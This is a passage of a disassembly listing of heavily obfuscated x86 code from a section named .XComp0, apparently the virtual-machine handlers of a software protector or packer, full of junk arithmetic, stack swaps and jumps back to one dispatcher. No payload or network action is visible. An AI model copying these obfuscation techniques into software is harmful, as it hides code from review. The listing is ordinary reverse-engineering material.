		jmp	loc_5756A0
; ---------------------------------------------------------------------------


loc_57B36A:				; CODE XREF: .XComp0:00580F9Cj
		add	bx, 32D3h
		xor	ax, bx
		jmp	loc_57441B
; ---------------------------------------------------------------------------


loc_57B377:				; CODE XREF: .XComp0:00582645j
		mov	[esp], ebx
		push	6A94h
		mov	[esp], eax
		mov	eax, 296435BDh
		sub	eax, 1
		sub	eax, 0B7CD161Eh
		mov	ebx, eax
		pop	eax
		shl	ebx, 5
		push	7234h
		mov	[esp], ebx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 19A07FCBh
		push	edi
		mov	edi, 26582DB4h
		add	ebx, edi
		pop	edi
		sub	ebx, edi
		sub	ebx, 26582DB4h
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 6F1E4079h
		not	edi
		xor	edi, 0B15D86F1h
		xor	ebx, edi
		pop	edi
		add	ebx, 6D384AFCh
		jmp	loc_5751E0
; ---------------------------------------------------------------------------


loc_57B3E6:				; CODE XREF: .XComp0:0057594Fj
		pop	ecx
		not	ebx
		shr	ebx, 1
		sub	ebx, 1894B3C5h
		and	ecx, ebx
		jmp	loc_581C27
; ---------------------------------------------------------------------------


loc_57B3F8:				; CODE XREF: .XComp0:0057E6E8j
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edi
		jmp	loc_578245
; ---------------------------------------------------------------------------


loc_57B406:				; CODE XREF: .XComp0:0057FCC0j
		add	ebx, eax
		pop	eax
		sub	ecx, 6425B7Ch
		sub	ecx, ebx
		add	ecx, 6425B7Ch
		pop	ebx
		jmp	loc_58257F
; ---------------------------------------------------------------------------


loc_57B41D:				; CODE XREF: .XComp0:00577C30j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_575F10
; ---------------------------------------------------------------------------


loc_57B42A:				; CODE XREF: .XComp0:00575C34j
		xor	ecx, 41314FADh
		and	ecx, 66D97974h
		shl	ecx, 2
		add	ecx, 64DF7EB4h
		add	ebp, ecx
		pop	ecx
		jmp	loc_57C11C
; ---------------------------------------------------------------------------


loc_57B447:				; CODE XREF: .XComp0:00578492j
		mov	eax, 4B2A36D7h
		sub	eax, 0FFFFFFFFh
		xor	eax, 678878D5h
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		or	edx, ebx
		jmp	loc_5827EC
; ---------------------------------------------------------------------------


loc_57B463:				; CODE XREF: .XComp0:0057CF4Dj
		inc	edi
		or	edi, 17A46704h
		add	edi, 0E001981Eh
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5821A4
; ---------------------------------------------------------------------------


loc_57B489:				; CODE XREF: .XComp0:0058229Cj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		push	ebp
		push	6AA0h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_57E2FC
; ---------------------------------------------------------------------------


loc_57B4B2:				; CODE XREF: .XComp0:00580497j
		push	ebp
		mov	ebp, 18B36002h
		xor	ebp, 0FB31714h
		or	edi, ebp
		jmp	loc_576206
; ---------------------------------------------------------------------------


loc_57B4C5:				; CODE XREF: .XComp0:005781C5j
		push	2
		pop	ebx
		jmp	loc_57C4C6
; ---------------------------------------------------------------------------


loc_57B4D0:				; CODE XREF: .XComp0:0057F466j
		add	edi, 76A056F1h
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_57F56A
; ---------------------------------------------------------------------------


loc_57B4ED:				; CODE XREF: .XComp0:00579B12j
		xor	edx, 0B7993625h
		add	eax, 72E4677Ah
		add	eax, edx
		push	5A88h
		mov	[esp], esi
		mov	esi, 72E4677Ah
		push	ebx
		mov	ebx, 6C020935h
		shr	ebx, 4
		jmp	loc_5818AF
; ---------------------------------------------------------------------------


loc_57B515:				; CODE XREF: .XComp0:0057A0ECj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57EC8C
; ---------------------------------------------------------------------------


loc_57B520:				; CODE XREF: .XComp0:005796AFj
		xor	esi, 3B0455B6h
		neg	esi
		sub	esi, 280370D4h
		and	eax, esi
		jmp	loc_580B1A
; ---------------------------------------------------------------------------


loc_57B535:				; CODE XREF: .XComp0:00581E3Bj
		add	al, 11h
		sub	al, 49h
		sub	al, dh
		jmp	loc_576E94
; ---------------------------------------------------------------------------


loc_57B540:				; CODE XREF: .XComp0:0057F68Aj
		mov	dh, 0E5h
		jmp	loc_5763ED
; ---------------------------------------------------------------------------


loc_57B547:				; CODE XREF: .XComp0:0058022Dj
		push	ebx
		mov	ebx, 1FA6652Ch
		add	ebx, 68FE5868h
		or	ebx, 5B32F77h
		push	5FADh
		mov	[esp], ebp
		push	ebx
		mov	ebx, 1AF00174h
		and	ebx, 78747527h
		push	esi
		mov	esi, 27780122h
		jmp	loc_573D50
; ---------------------------------------------------------------------------


loc_57B578:				; CODE XREF: .XComp0:0057BD8Ej
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_583295
; ---------------------------------------------------------------------------


loc_57B586:				; CODE XREF: .XComp0:0057C457j
		pop	edx
		push	ecx
		jmp	loc_57FEA6
; ---------------------------------------------------------------------------


loc_57B58D:				; CODE XREF: .XComp0:00577D1Fj
		xchg	esi, ecx
		push	edx
		mov	edx, 0A6C790A5h
		jmp	loc_576868
; ---------------------------------------------------------------------------


loc_57B59A:				; CODE XREF: .XComp0:005832DFj
		push	esi
		mov	esi, 490C2D17h
		xor	esi, 0F5E4CBB4h
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58080C
; ---------------------------------------------------------------------------


loc_57B5D8:				; CODE XREF: .XComp0:0057C432j
		pop	edi
		dec	edi
		sub	edi, 2F9F12D6h
		neg	edi
		sub	edi, 0B9AD0D40h
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_581A40
; ---------------------------------------------------------------------------


loc_57B5F3:				; CODE XREF: .XComp0:005781D0j
		xor	eax, 53B61C38h
		add	ecx, eax
		pop	eax
		jmp	loc_5813B2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	esi
		jmp	loc_57CEE9
; ---------------------------------------------------------------------------


loc_57B614:				; CODE XREF: .XComp0:00578ECBj
		pop	esp
		mov	fs:[edx], al
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B61D:				; CODE XREF: .XComp0:0057A643j
		mov	dl, bl
		pop	ebx
		pop	ecx
		jmp	loc_578F11
; ---------------------------------------------------------------------------


loc_57B626:				; CODE XREF: .XComp0:00574350j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_57BF05
; ---------------------------------------------------------------------------


loc_57B636:				; CODE XREF: .XComp0:0057F3E6j
		add	edx, 4
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	ebx
		mov	ebx, 5105266Ah
		mov	edi, 0D2D7527Bh
		add	edi, ebx
		pop	ebx
		mov	esi, 2D180D55h
		xor	esi, edi
		pop	edi
		shr	esi, 5
		push	ecx
		jmp	loc_573EFB
; ---------------------------------------------------------------------------


loc_57B665:				; CODE XREF: .XComp0:00578BC6j
		xor	esi, 0F026B944h
		add	ebx, esi
		push	dword ptr [esp]
		jmp	loc_582F9E
; ---------------------------------------------------------------------------


loc_57B675:				; CODE XREF: .XComp0:00581253j
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 0F9D29C86h
		sub	eax, 4B382DADh
		add	eax, ebp
		add	eax, 4B382DADh
		pop	ebp
		push	esi
		mov	esi, 2
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57463C
; ---------------------------------------------------------------------------


loc_57B6A1:				; CODE XREF: .XComp0:005764C8j
		pop	ebx
		jmp	loc_5744E6
; ---------------------------------------------------------------------------


loc_57B6A7:				; CODE XREF: .XComp0:005784F2j
		mov	esi, 27B0A5Dh
		sub	edi, esi
		jmp	loc_575B08
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5BA5h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		jmp	loc_5833AC
; ---------------------------------------------------------------------------


loc_57B6C7:				; CODE XREF: .XComp0:0057C2DDj
		pop	edx
		sub	eax, 362C7071h
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_579D40
; ---------------------------------------------------------------------------


loc_57B6E2:				; CODE XREF: .XComp0:00580BEBj
		xchg	eax, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B6EF:				; CODE XREF: .XComp0:0057EE11j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5739DF
; ---------------------------------------------------------------------------


loc_57B714:				; CODE XREF: .XComp0:005755E6j
		pop	esi
		xchg	edi, [esp]
		jmp	loc_57C407
; ---------------------------------------------------------------------------


loc_57B71D:				; CODE XREF: .XComp0:00582E00j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_578657
; ---------------------------------------------------------------------------


loc_57B72B:				; CODE XREF: .XComp0:005786FFj
		add	eax, 75141944h
		jmp	loc_579238
; ---------------------------------------------------------------------------


loc_57B735:				; CODE XREF: .XComp0:00576C68j
		sub	al, ch
		pop	ecx
		sub	al, bl
		add	al, 0C8h
		push	ebx
		push	edx
		push	ecx
		push	eax
		mov	al, 26h
		jmp	loc_58037F
; ---------------------------------------------------------------------------


loc_57B747:				; CODE XREF: .XComp0:00575E97j
		push	ecx
		mov	ecx, esp
		jmp	loc_576824
; ---------------------------------------------------------------------------


loc_57B74F:				; CODE XREF: .XComp0:005766B1j
		xor	edx, 234EB302h
		sub	edx, 16467C9Dh
		sub	edx, 56CE3FD0h
		and	edx, 5BD83976h
		shl	edx, 6
		add	edx, 0DB784B5Ah
		add	edi, edx
		pop	edx
		sub	eax, 15B43286h
		add	eax, edi
		add	eax, 15B43286h
		jmp	loc_57991D
; ---------------------------------------------------------------------------


loc_57B784:				; CODE XREF: .XComp0:0057DE43j
		sub	eax, 615A0086h
		jmp	loc_57682F
; ---------------------------------------------------------------------------


loc_57B78E:				; CODE XREF: .XComp0:0057CD50j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, ecx
		push	edx
		mov	edx, 39363735h
		add	ebx, edx
		pop	edx
		jmp	loc_580121
; ---------------------------------------------------------------------------


loc_57B7A5:				; CODE XREF: .XComp0:0057E15Dj
		mov	ebx, 450E22D2h
		shl	ebx, 8
		neg	ebx
		sub	ebx, 77F1D88Ch
		sub	ecx, ebx
		pop	ebx
		add	esi, 6AA777F9h
		sub	esi, 48D7287Bh
		add	esi, ecx
		add	esi, 48D7287Bh
		sub	esi, 6AA777F9h
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B7E8:				; CODE XREF: .XComp0:005747C9j
		mov	[esp], ebp
		push	0D2C47BDh
		pop	ebp
		jmp	loc_5762D4
; ---------------------------------------------------------------------------


loc_57B7F6:				; CODE XREF: .XComp0:00577010j
		pop	edi
		push	79CFh
		mov	[esp], esi
		mov	esi, 1C656B4Bh
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_579E1A
; ---------------------------------------------------------------------------


loc_57B80E:				; CODE XREF: .XComp0:005829DDj
		add	esp, 4
		jmp	loc_579FD6
; ---------------------------------------------------------------------------


loc_57B819:				; CODE XREF: .XComp0:0057F700j
		add	eax, 4
		push	3A06h
		mov	[esp], ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_57E8CB
; ---------------------------------------------------------------------------


loc_57B833:				; CODE XREF: .XComp0:0057520Bj
		pop	ecx
		dec	ebp
		shr	ebp, 1
		xor	ebp, 47DA71DCh
		push	ecx
		mov	ecx, 10EC73F7h
		add	ebp, ecx
		pop	ecx
		and	eax, ebp
		jmp	loc_5786F3
; ---------------------------------------------------------------------------


loc_57B84D:				; CODE XREF: .XComp0:0057FB71j
		xor	esi, 7C5063C7h
		jmp	loc_57944E
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_57E0E6
; ---------------------------------------------------------------------------


loc_57B85E:				; CODE XREF: .XComp0:005819A5j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_57F725
; ---------------------------------------------------------------------------


loc_57B86F:				; CODE XREF: .XComp0:0057C15Aj
		push	63826640h
		pop	ecx
		xor	ecx, eax
		jmp	loc_57E85D
; ---------------------------------------------------------------------------


loc_57B87C:				; CODE XREF: .XComp0:0057A7D3j
		push	edi
		push	5EF0402Ch
		jmp	loc_58274C
; ---------------------------------------------------------------------------


loc_57B887:				; CODE XREF: .XComp0:0057FA94j
		mov	esi, 54D116D7h
		jmp	loc_57B1E6
; ---------------------------------------------------------------------------


loc_57B891:				; CODE XREF: .XComp0:0057C1E2j
		shr	eax, 12h
		xor	eax, ecx
		push	2CC6h
		mov	[esp], eax
		xchg	ecx, [esp]
		push	2B39h
		jmp	loc_57549E
; ---------------------------------------------------------------------------


loc_57B8AB:				; CODE XREF: .XComp0:0057A759j
		add	edx, eax
		jmp	loc_582AB0
; ---------------------------------------------------------------------------


loc_57B8B2:				; CODE XREF: .XComp0:00582869j
		push	small 37C2h
		mov	[esp], dx
		mov	dl, 39h
		sub	al, 0AAh
		sub	al, dl
		jmp	loc_57A35F
; ---------------------------------------------------------------------------


loc_57B8C5:				; CODE XREF: .XComp0:0057EA19j
		sub	edi, 1840397Ah
		pop	ecx
		add	eax, edi
		pop	edi
		push	27FDh
		mov	[esp], esi
		jmp	loc_575CF5
; ---------------------------------------------------------------------------


loc_57B8DC:				; CODE XREF: .XComp0:00579AB0j
		sub	esi, 5F8B1B38h
		add	edx, esi
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_580881
; ---------------------------------------------------------------------------


loc_57B8EF:				; CODE XREF: .XComp0:0057D811j
		pop	esi
		push	7779h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_57B313
; ---------------------------------------------------------------------------


loc_57B908:				; CODE XREF: .XComp0:00580512j
		sub	ebp, 1131367Eh
		jmp	loc_57E31F
; ---------------------------------------------------------------------------


loc_57B913:				; CODE XREF: .XComp0:0057A231j
		mov	esp, [esp]
		add	dword ptr [esp], 37485B67h
		jmp	loc_5797AD
; ---------------------------------------------------------------------------


loc_57B922:				; CODE XREF: .XComp0:00582C1Aj
		add	edx, ebp
		jmp	loc_5833A1
; ---------------------------------------------------------------------------


loc_57B929:				; CODE XREF: .XComp0:00582295j
		sub	dx, 5D7Bh
		jmp	loc_5739D7
; ---------------------------------------------------------------------------


loc_57B933:				; CODE XREF: .XComp0:00583333j
		add	eax, edx
		add	eax, 5EA83EADh
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5748BB
; ---------------------------------------------------------------------------


loc_57B94B:				; CODE XREF: .XComp0:005795D6j
		inc	word ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B955:				; CODE XREF: .XComp0:0057CBD3j
		shr	ecx, 1
		jmp	loc_57A216
; ---------------------------------------------------------------------------


loc_57B95C:				; CODE XREF: .XComp0:005791A3j
		mov	[esp], ecx
		push	3FB6h
		jmp	loc_57BE5B
; ---------------------------------------------------------------------------


loc_57B969:				; CODE XREF: .XComp0:0057A5B5j
		push	cx
		jmp	loc_575EF0
; ---------------------------------------------------------------------------


loc_57B970:				; CODE XREF: .XComp0:00578362j
		xor	ecx, [esp]
		pop	esp
		inc	byte ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57B97D:				; CODE XREF: .XComp0:00579727j
		mov	eax, 7EBB1D53h
		add	eax, 0FFFFFFFFh
		push	ebx
		mov	ebx, 221B78E8h
		add	eax, ebx
		pop	ebx
		dec	eax
		jmp	loc_57A754
; ---------------------------------------------------------------------------


loc_57B994:				; CODE XREF: .XComp0:0058041Dj
		pop	eax
		xchg	eax, [esp]
		push	dword ptr [esp]
		jmp	loc_57C7D8
; ---------------------------------------------------------------------------


loc_57B9A0:				; CODE XREF: .XComp0:00582C10j
		add	dh, 0AEh
		push	ebx
		mov	bh, dh
		mov	cl, bh
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		xchg	bh, cl
		not	bh
		xchg	bh, cl
		add	cl, 0B0h
		jmp	loc_57A273
; ---------------------------------------------------------------------------


loc_57B9C0:				; CODE XREF: .XComp0:00575C55j
		push	170Eh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		jmp	loc_57FBFD
; ---------------------------------------------------------------------------


loc_57B9D7:				; CODE XREF: .XComp0:00574683j
		mov	esi, 7AC90E1Fh
		mov	eax, esi
		jmp	loc_574C88
; ---------------------------------------------------------------------------


loc_57B9E3:				; CODE XREF: .XComp0:0057D476j
		mov	esi, 2F976B85h
		dec	esi
		push	ebp
		jmp	loc_582463
; ---------------------------------------------------------------------------


loc_57B9EF:				; CODE XREF: .XComp0:005746E2j
		add	eax, 20784941h
		add	eax, ebx
		sub	eax, 20784941h
		jmp	loc_5789D4
; ---------------------------------------------------------------------------


loc_57BA00:				; CODE XREF: .XComp0:0057D8C3j
		push	81Ah
		mov	[esp], ebx
		push	eax
		mov	al, 40h
		and	al, 58h
		and	al, 60h
		jmp	loc_57BA4E
; ---------------------------------------------------------------------------


loc_57BA14:				; CODE XREF: .XComp0:0057E342j
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BA1C:				; CODE XREF: .XComp0:005834DCj
		pop	edx
		jmp	loc_576CBE
; ---------------------------------------------------------------------------


loc_57BA22:				; CODE XREF: .XComp0:00576F3Aj
		push	2A48h
		mov	[esp], ecx
		push	eax
		mov	eax, 407D77CCh
		jmp	loc_57CA66
; ---------------------------------------------------------------------------


loc_57BA35:				; CODE XREF: .XComp0:0057CF61j
		add	ebp, 4
		jmp	loc_581EE2
; ---------------------------------------------------------------------------


loc_57BA40:				; CODE XREF: .XComp0:005829C0j
		push	dword ptr [esp]
		jmp	loc_5822EB
; ---------------------------------------------------------------------------


loc_57BA48:				; CODE XREF: .XComp0:00573E25j
		pop	esp
		jmp	loc_57CBCA
; ---------------------------------------------------------------------------


loc_57BA4E:				; CODE XREF: .XComp0:0057BA0Fj
		xor	al, 9Eh
		jmp	loc_57922E
; ---------------------------------------------------------------------------


loc_57BA55:				; CODE XREF: .XComp0:0057ABF2j
		mov	ecx, 14D83B41h
		jmp	loc_57C2DA
; ---------------------------------------------------------------------------


loc_57BA5F:				; CODE XREF: .XComp0:00580538j
		mov	ecx, 63010E6Bh
		sub	ecx, 63010D6Bh
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_573EA8
; ---------------------------------------------------------------------------


loc_57BA74:				; CODE XREF: .XComp0:00574888j
		xor	esi, ecx
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_57ACB9
; ---------------------------------------------------------------------------


loc_57BA8F:				; CODE XREF: .XComp0:0057741Bj
		pop	eax
		jmp	loc_58252A
; ---------------------------------------------------------------------------


loc_57BA95:				; CODE XREF: .XComp0:00579803j
		mov	cl, bh
		jmp	loc_573FDE
; ---------------------------------------------------------------------------
		push	edx
		push	esi
		jmp	loc_57EA3A
; ---------------------------------------------------------------------------


loc_57BAA3:				; CODE XREF: .XComp0:0058213Aj
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_578B67
; ---------------------------------------------------------------------------


loc_57BAB6:				; CODE XREF: .XComp0:0058021Bj
		push	ebx
		jmp	loc_581594
; ---------------------------------------------------------------------------


loc_57BABC:				; CODE XREF: .XComp0:00579ADEj
		push	77A2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_5762E6
; ---------------------------------------------------------------------------


loc_57BAD4:				; CODE XREF: .XComp0:00581FF7j
		push	5F5Dh
		mov	[esp], eax
		mov	eax, 2
		sub	ebx, 26B01F70h
		sub	ebx, eax
		add	ebx, 26B01F70h
		pop	eax
		jmp	loc_574F4D
; ---------------------------------------------------------------------------


loc_57BAF5:				; CODE XREF: .XComp0:0057AF35j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1E7B4308h
		jmp	loc_577810
; ---------------------------------------------------------------------------


loc_57BB03:				; CODE XREF: .XComp0:0057A298j
		push	edi
		mov	edi, 77CA245Ah
		sub	edx, edi
		jmp	loc_57AFE9
; ---------------------------------------------------------------------------


loc_57BB10:				; CODE XREF: .XComp0:0057DDCBj
		sub	edi, 0F3C40C91h
		mov	esi, edi
		pop	edi
		jmp	loc_575986
; ---------------------------------------------------------------------------


loc_57BB1E:				; CODE XREF: .XComp0:00582FCEj
		add	ebp, 7129CD01h
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 5454ED9h
		push	edx
		jmp	loc_573913
; ---------------------------------------------------------------------------


loc_57BB49:				; CODE XREF: .XComp0:0058103Cj
		mov	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 2F0422C1h
		mov	eax, ebx
		jmp	loc_574D06
; ---------------------------------------------------------------------------


loc_57BB59:				; CODE XREF: .XComp0:00579458j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2E4F1C01h
		jmp	loc_574D87
; ---------------------------------------------------------------------------


loc_57BB7E:				; CODE XREF: .XComp0:0057CD6Bj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BB83:				; CODE XREF: .XComp0:0057E69Fj
		sub	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	1181h
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 284F2AEBh
		push	ebx
		mov	ebx, 5371695Ah
		jmp	loc_5817EC
; ---------------------------------------------------------------------------


loc_57BBC0:				; CODE XREF: .XComp0:00576EA5j
		push	ecx
		mov	ecx, 32E8462Eh
		or	ecx, 2DC149BDh
		dec	ecx
		jmp	loc_57F789
; ---------------------------------------------------------------------------


loc_57BBD2:				; CODE XREF: .XComp0:00577844j
		push	1E2Ah
		mov	[esp], ecx
		mov	ecx, 52210A3Bh
		sub	[esp+8], ecx
		pop	ecx
		pop	edi
		pop	edx
		push	esi
		mov	esi, 166B4536h
		dec	esi
		inc	esi
		add	esi, 501C4FFFh
		xor	esi, 67B2FF65h
		sub	edx, esi
		pop	esi
		jmp	loc_579084
; ---------------------------------------------------------------------------


loc_57BC02:				; CODE XREF: .XComp0:0057D843j
		add	edi, ebx
		jmp	loc_57BE31
; ---------------------------------------------------------------------------


loc_57BC09:				; CODE XREF: .XComp0:0058074Dj
		push	3882h
		mov	[esp], ebx
		mov	bl, 78h
		add	al, bl
		pop	ebx
		sub	al, bh
		jmp	loc_573847
; ---------------------------------------------------------------------------


loc_57BC1D:				; CODE XREF: .XComp0:0057C2B8j
		sub	ecx, 3A672C44h
		add	ecx, edx
		jmp	loc_573E7D
; ---------------------------------------------------------------------------


loc_57BC2A:				; CODE XREF: .XComp0:00579DE8j
		sub	ah, ch
		pop	ecx
		neg	ah
		add	ah, 0DAh
		xor	ah, 0DCh
		mov	cl, ah
		pop	eax
		push	edx
		mov	dl, 54h
		sub	dl, 0D9h
		sub	dl, 3Fh
		jmp	loc_57A110
; ---------------------------------------------------------------------------


loc_57BC46:				; CODE XREF: .XComp0:005827F3j
		sub	ebx, 1EC24EDCh
		sub	ebx, edx
		add	ebx, 1EC24EDCh
		pop	edx
		sub	ebx, 786639A1h
		jmp	loc_5742C2
; ---------------------------------------------------------------------------


loc_57BC60:				; CODE XREF: .XComp0:00577987j
		add	ebx, 25FA3CAAh
		and	ebx, 6B41B04h
		push	edi
		mov	edi, 38F3287Fh
		inc	edi
		jmp	loc_57D860
; ---------------------------------------------------------------------------


loc_57BC78:				; CODE XREF: .XComp0:0057A890j
		push	711Dh
		mov	[esp], eax
		jmp	loc_57745D
; ---------------------------------------------------------------------------


loc_57BC85:				; CODE XREF: .XComp0:00581DA4j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_57E162
; ---------------------------------------------------------------------------


loc_57BC90:				; CODE XREF: .XComp0:0057958Cj
		pop	ecx
		add	esi, edi
		jmp	loc_5739B9
; ---------------------------------------------------------------------------


loc_57BC98:				; CODE XREF: .XComp0:0057D994j
		add	esp, 4
		shr	ebx, 5
		push	364Ch
		jmp	loc_575EE3
; ---------------------------------------------------------------------------


loc_57BCA8:				; CODE XREF: .XComp0:0057F3C4j
		push	eax
		push	edx
		mov	dl, 80h
		mov	al, dl
		jmp	loc_5744A7
; ---------------------------------------------------------------------------


loc_57BCB3:				; CODE XREF: .XComp0:0057A5ADj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BCC7:				; CODE XREF: .XComp0:0057DA94j
		mov	ebp, 67DB2E74h
		xor	ebp, 0DCAAF577h
		jmp	loc_576BDC
; ---------------------------------------------------------------------------


loc_57BCD7:				; CODE XREF: .XComp0:00575493j
		shr	esi, 8
		add	esi, 42B7025Ch
		jmp	loc_576387
; ---------------------------------------------------------------------------


loc_57BCE5:				; CODE XREF: .XComp0:00578A7Cj
		pop	edx
		jmp	loc_5784C9
; ---------------------------------------------------------------------------


loc_57BCEB:				; CODE XREF: .XComp0:005754ABj
		add	esp, 4
		push	ebx
		jmp	loc_576E3C
; ---------------------------------------------------------------------------


loc_57BCF7:				; CODE XREF: .XComp0:005809F8j
		push	ecx
		mov	ecx, 5649B4BEh
		sub	eax, 5DD50EBEh
		add	eax, ecx
		push	edi
		mov	edi, 7EE41478h
		push	0
		sub	[esp], edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 34D6082Eh
		not	esi
		shl	esi, 2
		xor	esi, 0FE1038Eh
		jmp	loc_580A81
; ---------------------------------------------------------------------------


loc_57BD31:				; CODE XREF: .XComp0:0057CD7Dj
		add	ecx, 0B1AB51AAh
		jmp	loc_575209
; ---------------------------------------------------------------------------


loc_57BD3C:				; CODE XREF: .XComp0:00573E69j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BD41:				; CODE XREF: .XComp0:00575043j
		push	esi
		jmp	loc_576480
; ---------------------------------------------------------------------------


loc_57BD47:				; CODE XREF: .XComp0:00582747j
		mov	esi, [esp]
		add	esp, 4
		and	esi, 61F37F40h
		jmp	loc_57A6C3
; ---------------------------------------------------------------------------


loc_57BD58:				; CODE XREF: .XComp0:0057A52Fj
		pop	edi
		push	ebx
		mov	ebx, 1E004EE2h
		push	esi
		mov	esi, 42F93915h
		mov	eax, esi
		jmp	loc_57F6AB
; ---------------------------------------------------------------------------


loc_57BD6C:				; CODE XREF: .XComp0:0057D32Ej
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		mov	ebx, esi
		pop	esi
		pop	ecx
		and	ebx, 2CD13DDh
		push	edx
		mov	edx, 524D5585h
		neg	edx
		jmp	loc_57DA99
; ---------------------------------------------------------------------------


loc_57BD88:				; CODE XREF: .XComp0:0058002Aj
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		jmp	loc_57B578
; ---------------------------------------------------------------------------
byte_57BD93	db 89h			; CODE XREF: .XComp0:00581F16j
; ---------------------------------------------------------------------------
		and	al, 24h
		jmp	loc_579D0B
; ---------------------------------------------------------------------------


loc_57BD9B:				; CODE XREF: .XComp0:0057A0F4j
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57BDA5:				; CODE XREF: .XComp0:0057BE88j
		shl	ecx, 3
		add	ecx, 2DF4B214h
		xor	ecx, 44D16E76h
		jmp	loc_57A4FB
; ---------------------------------------------------------------------------


loc_57BDB9:				; CODE XREF: .XComp0:0057BE14j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_57B085
; ---------------------------------------------------------------------------


loc_57BDC9:				; CODE XREF: .XComp0:0057FDE3j
		and	bl, 0D5h
